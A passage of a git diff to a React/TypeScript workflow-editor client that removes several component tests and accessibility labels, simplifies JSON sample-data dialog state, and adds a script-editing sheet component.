-    return render(<OutputTabSampleDataDialog onClose={mockOnClose} onUpload={mockOnUpload} open={true} {...props} />);
-};
-
-describe('OutputTabSampleDataDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open is true', async () => {
-            renderDialog();
-
-            expect(await screen.findByRole('dialog')).toBeInTheDocument();
-        });
-
-        it('should not render the dialog when open is false', () => {
-            renderDialog({open: false});
-
-            expect(screen.queryByRole('dialog')).not.toBeInTheDocument();
-        });
-
-        it('should render the dialog title', async () => {
-            renderDialog();
-
-            expect(await screen.findByText('Upload Sample Output Data')).toBeInTheDocument();
-        });
-
-        it('should render the dialog description', async () => {
-            renderDialog();
-
-            expect(
-                await screen.findByText("Add sample value in JSON format. Click Upload when you're done.")
-            ).toBeInTheDocument();
-        });
-
-        it('should render the Upload button', async () => {
-            renderDialog();
-
-            expect(await screen.findByRole('button', {name: 'Upload'})).toBeInTheDocument();
-        });
-
-        it('should render the Monaco editor', async () => {
-            renderDialog();
-
-            expect(await screen.findByTestId('mock-monaco-editor')).toBeInTheDocument();
-        });
-    });
-
-    describe('Upload button state', () => {
-        it('should disable Upload button when editor is empty', async () => {
-            renderDialog();
-
-            expect(await screen.findByRole('button', {name: 'Upload'})).toBeDisabled();
-        });
-
-        it('should disable Upload button when JSON is invalid', async () => {
-            const user = userEvent.setup();
-
-            renderDialog();
-
-            const editor = await screen.findByTestId('mock-monaco-editor');
-
-            await user.clear(editor);
-            await user.type(editor, 'invalid json');
-
-            expect(screen.getByRole('button', {name: 'Upload'})).toBeDisabled();
-        });
-
-        it('should enable Upload button when valid JSON is entered', async () => {
-            renderDialog();
-
-            const editor = await screen.findByTestId('mock-monaco-editor');
-
-            fireEvent.change(editor, {target: {value: '{"name": "test"}'}});
-
-            expect(screen.getByRole('button', {name: 'Upload'})).toBeEnabled();
-        });
-    });
-
-    describe('placeholder prop', () => {
-        it('should display placeholder value in editor when provided', async () => {
-            const placeholder = {key: 'value'};
-
-            renderDialog({placeholder});
-
-            const editor = (await screen.findByTestId('mock-monaco-editor')) as HTMLTextAreaElement;
-
-            expect(editor.value).toContain('"key"');
-            expect(editor.value).toContain('"value"');
-        });
-
-        it('should enable Upload button when placeholder contains valid data', async () => {
-            const placeholder = {key: 'value'};
-
-            renderDialog({placeholder});
-
-            expect(await screen.findByRole('button', {name: 'Upload'})).toBeEnabled();
-        });
-
-        it('should not display placeholder when empty object is provided', async () => {
-            const placeholder = {};
-
-            renderDialog({placeholder});
-
-            const editor = (await screen.findByTestId('mock-monaco-editor')) as HTMLTextAreaElement;
-
-            expect(editor.value).toBe('');
-        });
-    });
-
-    describe('upload functionality', () => {
-        it('should call onUpload with stringified JSON when Upload is clicked', async () => {
-            const user = userEvent.setup();
-
-            renderDialog();
-
-            const editor = await screen.findByTestId('mock-monaco-editor');
-
-            fireEvent.change(editor, {target: {value: '{"test": 123}'}});
-
-            const uploadButton = screen.getByRole('button', {name: 'Upload'});
-
-            await user.click(uploadButton);
-
-            expect(mockOnUpload).toHaveBeenCalledWith('{"test":123}');
-        });
-
-        it('should not call onUpload when Upload is clicked with invalid JSON', async () => {
-            const user = userEvent.setup();
-
-            renderDialog();
-
-            const editor = await screen.findByTestId('mock-monaco-editor');
-
-            await user.clear(editor);
-            await user.type(editor, 'not json');
-
-            const uploadButton = screen.getByRole('button', {name: 'Upload'});
-
-            // Button should be disabled, so onUpload shouldn't be called
-            expect(uploadButton).toBeDisabled();
-            expect(mockOnUpload).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('cursor stability (raw value preservation)', () => {
-        it('should preserve the raw input value without reformatting', async () => {
-            renderDialog();
-
-            const editor = (await screen.findByTestId('mock-monaco-editor')) as HTMLTextAreaElement;
-
-            // Type compact JSON without formatting
-            const compactJson = '{"a":1}';
-
-            fireEvent.change(editor, {target: {value: compactJson}});
-
-            // The value should remain as typed, not reformatted
-            expect(editor.value).toBe(compactJson);
-        });
-    });
-
-    describe('dialog close behavior', () => {
-        it('should call onClose when dialog is closed', async () => {
-            const user = userEvent.setup();
-
-            renderDialog();
-
-            // Find and click the close button
-            const closeButton = await screen.findByRole('button', {name: 'Close'});
-
-            await user.click(closeButton);
-
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.tsx b/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.tsx
index cc034c04d20..c4fd66d7c2d 100644
--- a/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.tsx
+++ b/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.tsx
@@ -24,59 +24,47 @@ interface OutputTabSampleDataDialogProps {
 }
 
 const OutputTabSampleDataDialog = ({onClose, onUpload, open, placeholder}: OutputTabSampleDataDialogProps) => {
-    const [rawValue, setRawValue] = useState<string>('');
-    const [parsedValue, setParsedValue] = useState<object | undefined>();
+    const [value, setValue] = useState<object | undefined>();
 
-    const handleEditorOnChange = (editorValue: string | undefined) => {
-        const placeholderElement = document.querySelector('#monaco-placeholder') as HTMLElement | null;
+    const handleEditorOnChange = (value: string | undefined) => {
+        const placeholder = document.querySelector('#monaco-placeholder') as HTMLElement | null;
 
-        if (placeholderElement) {
-            placeholderElement.style.display = editorValue ? 'none' : 'block';
+        if (!placeholder) {
+            return;
         }
 
-        setRawValue(editorValue ?? '');
+        placeholder.style.display = value ? 'none' : 'block';
 
-        if (editorValue) {
+        if (value != null) {
             try {
-                setParsedValue(JSON.parse(editorValue));
-            } catch {
-                setParsedValue(undefined);
+                setValue(JSON.parse(value));
+            } catch (error) {
+                console.error('Invalid JSON:', error);
             }
-        } else {
-            setParsedValue(undefined);
         }
     };
 
     const handleEditorOnMount = (editor: StandaloneCodeEditorType) => {
-        const placeholderElement = document.querySelector('#monaco-placeholder') as HTMLElement | null;
+        const monacoPlaceholder = document.querySelector('#monaco-placeholder') as HTMLElement | null;
 
-        if (placeholderElement) {
-            placeholderElement.style.display = rawValue ? 'none' : 'block';
+        if (!monacoPlaceholder) {
+            return;
         }
 
+        monacoPlaceholder.style.display = value ? 'none' : 'block';
+
         editor.focus();
     };
 
-    const handleOpenChange = (isOpen: boolean) => {
-        if (!isOpen) {
-            const hasPlaceholder = placeholder !== undefined && Object.keys(placeholder).length > 0;
-
-            setRawValue(hasPlaceholder ? JSON.stringify(placeholder, null, SPACE) : '');
-            setParsedValue(hasPlaceholder ? placeholder : undefined);
+    const handleOpenChange = (open: boolean) => {
+        if (!open) {
+            setValue(placeholder);
             onClose();
         }
     };
 
     useEffect(() => {
-        if (placeholder !== undefined && Object.keys(placeholder).length) {
-            const stringified = JSON.stringify(placeholder, null, SPACE);
-
-            setRawValue(stringified);
-            setParsedValue(placeholder);
-        } else {
-            setRawValue('');
-            setParsedValue(undefined);
-        }
+        setValue(placeholder !== undefined && Object.keys(placeholder).length ? placeholder : undefined);
     }, [placeholder]);
 
     return (
@@ -102,7 +90,7 @@ const OutputTabSampleDataDialog = ({onClose, onUpload, open, placeholder}: Outpu
                                 defaultLanguage="json"
                                 onChange={handleEditorOnChange}
                                 onMount={handleEditorOnMount}
-                                value={rawValue}
+                                value={JSON.stringify(value, null, SPACE)}
                             />
                         </Suspense>
 
@@ -117,11 +105,11 @@ const OutputTabSampleDataDialog = ({onClose, onUpload, open, placeholder}: Outpu
 
                 <DialogFooter>
                     <Button
-                        disabled={!parsedValue}
+                        disabled={!value}
                         label="Upload"
                         onClick={() => {
-                            if (parsedValue) {
-                                onUpload(JSON.stringify(parsedValue));
+                            if (value) {
+                                onUpload(value && JSON.stringify(value));
                             }
                         }}
                         type="submit"
diff --git a/client/src/pages/platform/workflow-editor/components/properties/ArrayProperty.tsx b/client/src/pages/platform/workflow-editor/components/properties/ArrayProperty.tsx
index 0d5b52ecbe5..787c963d143 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/ArrayProperty.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/ArrayProperty.tsx
@@ -11,7 +11,7 @@ import resolvePath from 'object-resolve-path';
 import {Fragment, useCallback, useEffect, useState} from 'react';
 
 import useWorkflowDataStore from '../../stores/useWorkflowDataStore';
-import {decodePath, encodeParameters, encodePath} from '../../utils/encodingUtils';
+import {encodeParameters, encodePath} from '../../utils/encodingUtils';
 import getParameterItemType from '../../utils/getParameterItemType';
 import saveProperty from '../../utils/saveProperty';
 
@@ -297,13 +297,10 @@ const ArrayProperty = ({onDeleteClick, parentArrayItems, path, property}: ArrayP
                 if (parameterItemType === 'OBJECT') {
                     if (parameterItemValue) {
                         const customSubProperties = Object.keys(parameterItemValue).map((key) => {
-                            const decodedKey = decodePath(key);
                             const subPropertyParameterValue = parameterItemValue[key as keyof ArrayPropertyType];
 
                             let subPropertyParameterItemType =
-                                currentComponent.metadata?.ui?.dynamicPropertyTypes?.[
-                                    `${path}[${index}].${decodedKey}`
-                                ];
+                                currentComponent.metadata?.ui?.dynamicPropertyTypes?.[`${path}[${index}].${key}`];
 
                             if (!subPropertyParameterItemType) {
                                 subPropertyParameterItemType = getParameterItemType(subPropertyParameterValue);
@@ -316,7 +313,7 @@ const ArrayProperty = ({onDeleteClick, parentArrayItems, path, property}: ArrayP
                                 custom: true,
                                 defaultValue: subPropertyParameterValue,
                                 expressionEnabled: true,
-                                label: decodedKey,
+                                label: key,
                                 name: key,
                                 path: `${subPropertyPath}.${key}`,
                                 type: subPropertyParameterItemType as PropertyType,
diff --git a/client/src/pages/platform/workflow-editor/components/properties/ObjectProperty.tsx b/client/src/pages/platform/workflow-editor/components/properties/ObjectProperty.tsx
index bfb13c356ec..ae2fa834107 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/ObjectProperty.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/ObjectProperty.tsx
@@ -44,13 +44,11 @@ const ObjectProperty = ({arrayIndex, arrayName, onDeleteClick, operationName, pa
     return (
         <Fragment key={name}>
             <ul
-                aria-label={`${name} object properties`}
                 className={twMerge(
                     'space-y-4',
                     label && !isContainerObject && 'ml-2 border-l border-l-border/50',
                     arrayName && !isContainerObject && 'pl-2'
                 )}
-                role="list"
             >
                 {(subProperties as unknown as Array<SubPropertyType>)?.map((subProperty, index) => (
                     <Property
@@ -66,7 +64,7 @@ const ObjectProperty = ({arrayIndex, arrayName, onDeleteClick, operationName, pa
                             subProperty.custom && name && subProperty.name && currentComponent ? (
                                 <DeletePropertyButton
                                     onClick={() => handleDeleteClick(subProperty)}
-                                    propertyName={subProperty.label ?? subProperty.name}
+                                    propertyName={subProperty.name}
                                 />
                             ) : undefined
                         }
diff --git a/client/src/pages/platform/workflow-editor/components/properties/Property.tsx b/client/src/pages/platform/workflow-editor/components/properties/Property.tsx
index f55f3a08dd5..b04f5d8420d 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/Property.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/Property.tsx
@@ -171,7 +171,6 @@ const Property = ({
 
     return (
         <li
-            aria-label={`${name} property`}
             className={twMerge(
                 'w-full',
                 hidden && 'hidden',
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/ArrayPropertyItem.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/ArrayPropertyItem.tsx
index 9980f4711ce..f22b447469e 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/ArrayPropertyItem.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/ArrayPropertyItem.tsx
@@ -34,11 +34,7 @@ const ArrayPropertyItem = ({
     };
 
     return (
-        <div
-            aria-label={`Array property item at index ${index}`}
-            className="flex"
-            key={`${arrayName}_${arrayItem.name}`}
-        >
+        <div className="flex" key={`${arrayName}_${arrayItem.name}`}>
             <Property
                 arrayIndex={index}
                 arrayName={arrayName}
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.test.tsx
deleted file mode 100644
index 09372c22b92..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.test.tsx
+++ /dev/null
@@ -1,134 +0,0 @@
-import {render, screen, userEvent} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyComboBox from './PropertyComboBox';
-
-const hoisted = vi.hoisted(() => ({
-    mockOnValueChange: vi.fn(),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 1,
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore', () => ({
-    default: () => ({
-        currentNode: {
-            connectionId: null,
-            connections: [],
-            workflowNodeName: 'test_1',
-        },
-        operationChangeInProgress: false,
-    }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowEditorStore', () => ({
-    default: () => ({
-        rootClusterElementNodeData: undefined,
-    }),
-}));
-
-vi.mock('@/shared/queries/platform/workflowNodeOptions.queries', () => ({
-    useGetClusterElementNodeOptionsQuery: () => ({
-        data: undefined,
-        isLoading: false,
-        isRefetching: false,
-    }),
-    useGetWorkflowNodeOptionsQuery: () => ({
-        data: undefined,
-        isLoading: false,
-        isRefetching: false,
-    }),
-}));
-
-vi.mock('react-inlinesvg', () => ({
-    default: () => null,
-}));
-
-beforeEach(() => {
-    hoisted.mockOnValueChange.mockClear();
-});
-
-afterEach(() => {
-    vi.clearAllMocks();
-});
-
-const defaultProps = {
-    name: 'testCombo',
-    onValueChange: hoisted.mockOnValueChange,
-    options: [
-        {description: 'First option description', label: 'Alpha', value: 'alpha'},
-        {description: 'Second option description', label: 'Beta', value: 'beta'},
-        {label: 'Gamma', value: 'gamma'},
-    ],
-    workflowId: 'workflow-1',
-    workflowNodeName: 'test_1',
-};
-
-describe('PropertyComboBox', () => {
-    it('should render the combobox with placeholder', () => {
-        render(<PropertyComboBox {...defaultProps} />);
-
-        expect(screen.getByRole('combobox')).toBeInTheDocument();
-        expect(screen.getByText('Select...')).toBeInTheDocument();
-    });
-
-    it('should open the popover and display options when clicked', async () => {
-        render(<PropertyComboBox {...defaultProps} />);
-
-        await userEvent.click(screen.getByRole('combobox'));
-
-        expect(screen.getByText('Alpha')).toBeInTheDocument();
-        expect(screen.getByText('Beta')).toBeInTheDocument();
-        expect(screen.getByText('Gamma')).toBeInTheDocument();
-    });
-
-    it('should filter options by label keyword when typing in the search input', async () => {
-        render(<PropertyComboBox {...defaultProps} />);
-
-        await userEvent.click(screen.getByRole('combobox'));
-
-        const searchInput = screen.getByPlaceholderText('Search...');
-
-        await userEvent.type(searchInput, 'Alpha');
-
-        expect(screen.getByText('Alpha')).toBeInTheDocument();
-        expect(screen.queryByText('Beta')).not.toBeInTheDocument();
-        expect(screen.queryByText('Gamma')).not.toBeInTheDocument();
-    });
-
-    it('should filter options by description keyword when typing in the search input', async () => {
-        render(<PropertyComboBox {...defaultProps} />);
-
-        await userEvent.click(screen.getByRole('combobox'));
-
-        const searchInput = screen.getByPlaceholderText('Search...');
-
-        await userEvent.type(searchInput, 'Second option');
-
-        expect(screen.queryByText('Alpha')).not.toBeInTheDocument();
-        expect(screen.getByText('Beta')).toBeInTheDocument();
-        expect(screen.queryByText('Gamma')).not.toBeInTheDocument();
-    });
-
-    it('should call onValueChange when an option is selected', async () => {
-        render(<PropertyComboBox {...defaultProps} />);
-
-        await userEvent.click(screen.getByRole('combobox'));
-        await userEvent.click(screen.getByText('Beta'));
-
-        expect(hoisted.mockOnValueChange).toHaveBeenCalledWith('beta');
-    });
-
-    it('should render a label when provided', () => {
-        render(<PropertyComboBox {...defaultProps} label="Test Label" />);
-
-        expect(screen.getByText('Test Label')).toBeInTheDocument();
-    });
-
-    it('should show the selected option label in the trigger', async () => {
-        render(<PropertyComboBox {...defaultProps} value="alpha" />);
-
-        expect(screen.getByText('Alpha')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.tsx
index 9633508e203..3cdaa1a6bfd 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyComboBox.tsx
@@ -89,14 +89,7 @@ const PropertyComboBox = ({
     const [value, setValue] = useState(initialValue !== undefined ? initialValue.toString() : defaultValue);
 
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const {currentNode, operationChangeInProgress} = useWorkflowNodeDetailsPanelStore(
-        useShallow((state) => ({
-            currentNode: state.currentNode,
-            operationChangeInProgress: state.operationChangeInProgress,
-        }))
-    );
-
+    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
     const {rootClusterElementNodeData} = useWorkflowEditorStore(
         useShallow((state) => ({
             rootClusterElementNodeData: state.rootClusterElementNodeData,
@@ -180,16 +173,8 @@ const PropertyComboBox = ({
                 ? lookupDependsOnValues?.every((loadDependencyValue) => !!loadDependencyValue)
                 : true) &&
             !!connectionRequirementMet &&
-            optionsDataSource &&
-            !operationChangeInProgress,
-        [
-            connectionRequirementMet,
-            currentNode,
-            lookupDependsOnPaths?.length,
-            lookupDependsOnValues,
-            operationChangeInProgress,
             optionsDataSource,
-        ]
+        [connectionRequirementMet, currentNode, lookupDependsOnPaths?.length, lookupDependsOnValues, optionsDataSource]
     );
 
     const {
@@ -455,44 +440,30 @@ const PropertyComboBox = ({
                                     {value === '' && <CheckIcon className="ml-auto size-4" />}
                                 </CommandItem>
 
-                                {(options as Array<ComboBoxItemType>)?.map((option) => {
-                                    const labelAndDescription = [
-                                        typeof option.label === 'string' ? option.label : undefined,
-                                        option.description,
-                                    ];
-
-                                    const nonEmptyStrings = labelAndDescription.filter(
-                                        (value): value is string => typeof value === 'string' && value.length > 0
-                                    );
-
-                                    return (
-                                        <CommandItem
-                                            className="cursor-pointer font-normal hover:bg-muted"
-                                            key={option.value.toString()}
-                                            keywords={nonEmptyStrings}
-                                            onSelect={() => handleValueChange(option.value.toString())}
-                                            value={option.value.toString()}
-                                        >
-                                            {option.icon && (
-                                                <InlineSVG className="mr-2 size-6 flex-none" src={option.icon} />
-                                            )}
-
-                                            {option.description ? (
-                                                <div className="flex flex-col gap-1">
-                                                    <span>{option.label}</span>
-
-                                                    <p className="text-xs text-muted-foreground">
-                                                        {option.description}
-                                                    </p>
-                                                </div>
-                                            ) : (
+                                {(options as Array<ComboBoxItemType>)?.map((option) => (
+                                    <CommandItem
+                                        className="cursor-pointer font-normal hover:bg-muted"
+                                        key={option.value.toString()}
+                                        onSelect={() => handleValueChange(option.value.toString())}
+                                        value={option.value.toString()}
+                                    >
+                                        {option.icon && (
+                                            <InlineSVG className="mr-2 size-6 flex-none" src={option.icon} />
+                                        )}
+
+                                        {option.description ? (
+                                            <div className="flex flex-col gap-1">
                                                 <span>{option.label}</span>
-                                            )}
 
-                                            {option.value === value && <CheckIcon className="ml-auto size-4" />}
-                                        </CommandItem>
-                                    );
-                                })}
+                                                <p className="text-xs text-muted-foreground">{option.description}</p>
+                                            </div>
+                                        ) : (
+                                            <span>{option.label}</span>
+                                        )}
+
+                                        {option.value === value && <CheckIcon className="ml-auto size-4" />}
+                                    </CommandItem>
+                                ))}
                             </CommandGroup>
                         </CommandList>
                     </Command>
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyDynamicProperties.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyDynamicProperties.tsx
index ad38440e9bc..3a201b7c2c1 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyDynamicProperties.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyDynamicProperties.tsx
@@ -8,7 +8,6 @@ import {
 import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
 import {PropertyAllType} from '@/shared/types';
 import {useEffect, useMemo, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
 
 import useWorkflowEditorStore from '../../../stores/useWorkflowEditorStore';
 import getFormattedDependencyKey from '../../../utils/getFormattedDependencyKey';
@@ -39,14 +38,7 @@ const PropertyDynamicProperties = ({
 
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
     const workflow = useWorkflowDataStore((state) => state.workflow);
-
-    const {currentNode, operationChangeInProgress} = useWorkflowNodeDetailsPanelStore(
-        useShallow((state) => ({
-            currentNode: state.currentNode,
-            operationChangeInProgress: state.operationChangeInProgress,
-        }))
-    );
-
+    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
     const {rootClusterElementNodeData} = useWorkflowEditorStore();
 
     const lookupDependsOnValuesKey = getFormattedDependencyKey(lookupDependsOnValues);
@@ -91,10 +83,8 @@ const PropertyDynamicProperties = ({
         () =>
             (lookupDependsOnPaths?.length
                 ? lookupDependsOnValues?.every((loadDependencyValue) => loadDependencyValue != null)
-                : true) &&
-            enabled &&
-            !operationChangeInProgress,
-        [lookupDependsOnPaths?.length, lookupDependsOnValues, enabled, operationChangeInProgress]
+                : true) && enabled,
+        [lookupDependsOnPaths?.length, lookupDependsOnValues, enabled]
     );
 
     const {data: properties, isLoading} = useGetWorkflowNodeDynamicPropertiesQuery(
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyMultiSelect.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyMultiSelect.tsx
index 4e7972109bb..1de2d46a6cc 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/PropertyMultiSelect.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/PropertyMultiSelect.tsx
@@ -53,14 +53,7 @@ const PropertyMultiSelect = ({
     workflowId,
 }: PropertyMultiSelectProps) => {
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const {currentNode, operationChangeInProgress} = useWorkflowNodeDetailsPanelStore(
-        useShallow((state) => ({
-            currentNode: state.currentNode,
-            operationChangeInProgress: state.operationChangeInProgress,
-        }))
-    );
-
+    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
     const {rootClusterElementNodeData} = useWorkflowEditorStore(
         useShallow((state) => ({
             rootClusterElementNodeData: state.rootClusterElementNodeData,
@@ -129,16 +122,8 @@ const PropertyMultiSelect = ({
                 ? lookupDependsOnValues?.every((loadDependencyValue) => !!loadDependencyValue)
                 : true) &&
             !!connectionRequirementMet &&
-            optionsDataSource &&
-            !operationChangeInProgress,
-        [
-            connectionRequirementMet,
-            currentNode,
-            lookupDependsOnPaths?.length,
-            lookupDependsOnValues,
-            operationChangeInProgress,
             optionsDataSource,
-        ]
+        [connectionRequirementMet, currentNode, lookupDependsOnPaths?.length, lookupDependsOnValues, optionsDataSource]
     );
 
     const {data: optionsData, isLoading: isOptionsDataLoading} = useGetWorkflowNodeOptionsQuery(
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/PropertySelect.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/PropertySelect.tsx
index 13d5d341566..a332bab43f6 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/PropertySelect.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/PropertySelect.tsx
@@ -97,7 +97,6 @@ const PropertySelect = ({
 
                 <SelectContent
                     align="start"
-                    aria-label="Select options"
                     className="max-h-select-content-available-height min-w-select-trigger-width"
                     position="popper"
                     sideOffset={5}
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditor.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditor.tsx
index a818ea6b9bb..6d32d026c33 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditor.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditor.tsx
@@ -2,7 +2,7 @@ import Button from '@/components/Button/Button';
 import RequiredMark from '@/components/RequiredMark';
 import {Label} from '@/components/ui/label';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import PropertyCodeEditorDialog from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialog';
+import PropertyCodeEditorSheet from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheet';
 import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
 import {Workflow} from '@/shared/middleware/platform/configuration';
 import {CircleQuestionMarkIcon, TriangleAlertIcon} from 'lucide-react';
@@ -107,7 +107,7 @@ const PropertyCodeEditor = forwardRef<HTMLButtonElement, PropertyCodeEditorProps
                 </fieldset>
 
                 {showPropertyCodeEditorSheet && (
-                    <PropertyCodeEditorDialog
+                    <PropertyCodeEditorSheet
                         language={language}
                         onChange={onChange}
                         onClose={() => setShowPropertyCodeEditorSheet(false)}
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheet.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheet.tsx
new file mode 100644
index 00000000000..364a51aa10a
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheet.tsx
@@ -0,0 +1,275 @@
+import Button from '@/components/Button/Button';
+import LoadingDots from '@/components/LoadingDots';
+import {
+    AlertDialog,
+    AlertDialogAction,
+    AlertDialogCancel,
+    AlertDialogContent,
+    AlertDialogDescription,
+    AlertDialogFooter,
+    AlertDialogHeader,
+    AlertDialogTitle,
+} from '@/components/ui/alert-dialog';
+import {ResizableHandle, ResizablePanel, ResizablePanelGroup} from '@/components/ui/resizable';
+import {Sheet, SheetCloseButton, SheetContent, SheetHeader, SheetTitle} from '@/components/ui/sheet';
+import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
+import PropertyCodeEditorSheetRightPanel from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanel';
+import {getTask} from '@/pages/platform/workflow-editor/utils/getTask';
+import MonacoEditorLoader from '@/shared/components/MonacoEditorLoader';
+import CopilotButton from '@/shared/components/copilot/CopilotButton';
+import {Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
+import {ScriptTestExecution, Workflow, WorkflowNodeScriptApi} from '@/shared/middleware/platform/configuration';
+import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
+import {PlayIcon, RefreshCwIcon, SaveIcon, SquareIcon} from 'lucide-react';
+import {Suspense, lazy, useEffect, useState} from 'react';
+import {twMerge} from 'tailwind-merge';
+
+const MonacoEditor = lazy(() => import('@/shared/components/MonacoEditorWrapper'));
+const ReactJson = lazy(() => import('react-json-view'));
+
+const workflowNodeScriptApi: WorkflowNodeScriptApi = new WorkflowNodeScriptApi();
+
+interface PropertyCodeEditorSheetProps {
+    language: string;
+    onChange: (value: string | undefined) => void;
+    onClose?: () => void;
+    value?: string;
+    workflow: Workflow;
+    workflowNodeName: string;
+}
+
+const PropertyCodeEditorSheet = ({
+    language,
+    onChange,
+    onClose,
+    value,
+    workflow,
+    workflowNodeName,
+}: PropertyCodeEditorSheetProps) => {
+    const [dirty, setDirty] = useState<boolean>(false);
+    const [newValue, setNewValue] = useState<string | undefined>(value);
+    const [scriptIsRunning, setScriptIsRunning] = useState(false);
+    const [scriptTestExecution, setScriptTestExecution] = useState<ScriptTestExecution | undefined>();
+    const [showCloseAlertDialog, setShowCloseAlertDialog] = useState(false);
+
+    const copilotPanelOpen = useCopilotStore((state) => state.copilotPanelOpen);
+    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
+
+    const currentWorkflowTask = getTask({
+        tasks: workflow.tasks || [],
+        workflowNodeName,
+    });
+
+    const handleRunClick = () => {
+        setScriptIsRunning(true);
+
+        workflowNodeScriptApi
+            .testWorkflowNodeScript({
+                environmentId: currentEnvironmentId!,
+                id: workflow!.id!,
+                workflowNodeName,
+            })
+            .then((scriptTestExecution) => {
+                setScriptTestExecution(scriptTestExecution);
+                setScriptIsRunning(false);
+            })
+            .catch(() => {
+                setScriptIsRunning(false);
+            });
+    };
+
+    const handleOpenOnChange = (open: boolean) => {
+        if (!open && dirty) {
+            setShowCloseAlertDialog(true);
+        } else {
+            if (onClose) {
+                onClose();
+            }
+        }
+    };
+
+    useEffect(() => {
+        if (value === newValue) {
+            setDirty(false);
+        } else {
+            setDirty(true);
+        }
+    }, [value, newValue]);
+
+    return (
+        <>
+            <Sheet modal={!copilotPanelOpen} onOpenChange={handleOpenOnChange} open={true}>
+                <SheetContent
+                    className={twMerge('flex flex-col gap-0 p-0 sm:max-w-[1200px]', copilotPanelOpen && 'mr-[460px]')}
+                    onFocusOutside={(event) => event.preventDefault()}
+                    onPointerDownOutside={(event) => event.preventDefault()}
+                >
+                    <SheetHeader className="flex flex-row items-center justify-between space-y-0 border-b border-b-border/50 p-3">
+                        <SheetTitle>Edit Script</SheetTitle>
+
+                        <div className="flex items-center gap-1">
+                            <Tooltip>
+                                <TooltipTrigger asChild>
+                                    <Button
+                                        disabled={!dirty}
+                                        icon={<SaveIcon />}
+                                        onClick={() => onChange(newValue)}
+                                        size="icon"
+                                        type="submit"
+                                        variant="ghost"
+                                    />
+                                </TooltipTrigger>
+
+                                <TooltipContent>Save current workflow</TooltipContent>
+                            </Tooltip>
+
+                            {!scriptIsRunning && (
+                                <Tooltip>
+                                    <TooltipTrigger asChild>
+                                        <span tabIndex={0}>
+                                            <Button
+                                                disabled={dirty}
+                                                icon={<PlayIcon className="text-success" />}
